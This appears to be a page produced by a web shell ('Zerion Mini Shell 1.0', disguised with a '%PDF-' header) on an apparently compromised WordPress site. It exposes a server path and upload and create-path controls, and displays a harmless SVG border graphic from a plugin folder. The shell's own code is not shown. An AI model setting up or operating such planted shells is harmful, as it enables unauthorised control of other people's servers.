%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/tif-dev/wp-content/plugins/bloom/images/
Upload File :
Create Path :
Current File : //var/www/tif-dev/wp-content/plugins/bloom/images/border-letter.svg

<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 17.1.0, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="50px" height="50px" viewBox="0 0 50 50" enable-background="new 0 0 50 50" xml:space="preserve">
<g>
	<polygon fill="#FFFFFF" points="4,37.414 0,41.414 0,45.586 4,41.586 	"/>
	<polygon fill="#FFFFFF" points="4,9.414 0,13.414 0,17.586 4,13.586 	"/>
	<polygon fill="#FFFFFF" points="20.586,4 24.586,0 20.414,0 16.414,4 	"/>
	<polygon fill="#FFFFFF" points="13.586,4 17.586,0 13.414,0 9.414,4 	"/>
	<polygon fill="#FFFFFF" points="4,30.414 0,34.414 0,38.586 4,34.586 	"/>
	<polygon fill="#FFFFFF" points="4,16.414 0,20.414 0,24.586 4,20.586 	"/>
	<polygon fill="#FFFFFF" points="4,23.414 0,27.414 0,31.586 4,27.586 	"/>
	<polygon fill="#FFFFFF" points="4,4 6.586,4 10.586,0 6.414,0 0,6.414 0,10.586 4,6.586 	"/>
	<polygon fill="#FFFFFF" points="46,13.586 50,9.586 50,5.414 46,9.414 	"/>
	<polygon fill="#FFFFFF" points="46,20.586 50,16.586 50,12.414 46,16.414 	"/>
	<polygon fill="#FFFFFF" points="46,27.586 50,23.586 50,19.414 46,23.414 	"/>
	<polygon fill="#FFFFFF" points="50,50 50,47.414 47.414,50 	"/>
	<polygon fill="#FFFFFF" points="27.586,4 31.586,0 27.414,0 23.414,4 	"/>
	<polygon fill="#FFFFFF" points="34.586,4 38.586,0 34.414,0 30.414,4 	"/>
	<polygon fill="#FFFFFF" points="41.586,4 45.586,0 41.414,0 37.414,4 	"/>
	<polygon fill="#FFFFFF" points="48.414,0 44.414,4 46,4 46,6.586 50,2.586 50,0 	"/>
	<polygon fill="#FFFFFF" points="0,0 0,3.586 3.586,0 	"/>
	<polygon fill="#FFFFFF" points="30.414,46 26.414,50 30.586,50 34.586,46 	"/>
	<polygon fill="#FFFFFF" points="23.414,46 19.414,50 23.586,50 27.586,46 	"/>
	<polygon fill="#FFFFFF" points="46,46 44.414,46 40.414,50 44.586,50 50,44.586 50,40.414 46,44.414 	"/>
	<polygon fill="#FFFFFF" points="16.414,46 12.414,50 16.586,50 20.586,46 	"/>
	<polygon fill="#FFFFFF" points="46,41.586 50,37.586 50,33.414 46,37.414 	"/>
	<polygon fill="#FFFFFF" points="37.414,46 33.414,50 37.586,50 41.586,46 	"/>
	<polygon fill="#FFFFFF" points="46,34.586 50,30.586 50,26.414 46,30.414 	"/>
	<polygon fill="#FFFFFF" points="4,46 4,44.414 0,48.414 0,50 2.586,50 6.586,46 	"/>
	<polygon fill="#FFFFFF" points="9.414,46 5.414,50 9.586,50 13.586,46 	"/>
	<polygon fill="#E65F5F" points="3.586,0 0,3.586 0,6.414 6.414,0 	"/>
	<polygon fill="#01ADFF" points="4,6.586 0,10.586 0,13.414 4,9.414 	"/>
	<polygon fill="#01ADFF" points="9.414,4 13.414,0 10.586,0 6.586,4 	"/>
	<polygon fill="#E65F5F" points="4,13.586 0,17.586 0,20.414 4,16.414 	"/>
	<polygon fill="#E65F5F" points="16.414,4 20.414,0 17.586,0 13.586,4 	"/>
	<polygon fill="#01ADFF" points="23.414,4 27.414,0 24.586,0 20.586,4 	"/>
	<polygon fill="#01ADFF" points="4,20.586 0,24.586 0,27.414 4,23.414 	"/>
	<polygon fill="#E65F5F" points="4,27.586 0,31.586 0,34.414 4,30.414 	"/>
	<polygon fill="#E65F5F" points="30.414,4 34.414,0 31.586,0 27.586,4 	"/>
	<polygon fill="#01ADFF" points="4,34.586 0,38.586 0,41.414 4,37.414 	"/>
	<polygon fill="#01ADFF" points="37.414,4 41.414,0 38.586,0 34.586,4 	"/>
	<polygon fill="#E65F5F" points="44.414,4 48.414,0 45.586,0 41.586,4 	"/>
	<polygon fill="#E65F5F" points="4,41.586 0,45.586 0,48.414 4,44.414 	"/>
	<polygon fill="#01ADFF" points="46,9.414 50,5.414 50,2.586 46,6.586 	"/>
	<polygon fill="#01ADFF" points="6.586,46 2.586,50 5.414,50 9.414,46 	"/>
	<polygon fill="#E65F5F" points="13.586,46 9.586,50 12.414,50 16.414,46 	"/>
	<polygon fill="#E65F5F" points="46,16.414 50,12.414 50,9.586 46,13.586 	"/>
	<polygon fill="#01ADFF" points="20.586,46 16.586,50 19.414,50 23.414,46 	"/>
	<polygon fill="#01ADFF" points="46,23.414 50,19.414 50,16.586 46,20.586 	"/>
	<polygon fill="#E65F5F" points="27.586,46 23.586,50 26.414,50 30.414,46 	"/>
	<polygon fill="#E65F5F" points="46,30.414 50,26.414 50,23.586 46,27.586 	"/>
	<polygon fill="#01ADFF" points="34.586,46 30.586,50 33.414,50 37.414,46 	"/>
	<polygon fill="#01ADFF" points="46,37.414 50,33.414 50,30.586 46,34.586 	"/>
	<polygon fill="#E65F5F" points="41.586,46 37.586,50 40.414,50 44.414,46 	"/>
	<polygon fill="#E65F5F" points="46,44.414 50,40.414 50,37.586 46,41.586 	"/>
	<polygon fill="#01ADFF" points="47.414,50 50,47.414 50,44.586 44.586,50 	"/>
	<rect x="4" y="4" fill="#E5E9F2" width="42" height="42"/>
</g>
</svg>

Zerion Mini Shell 1.0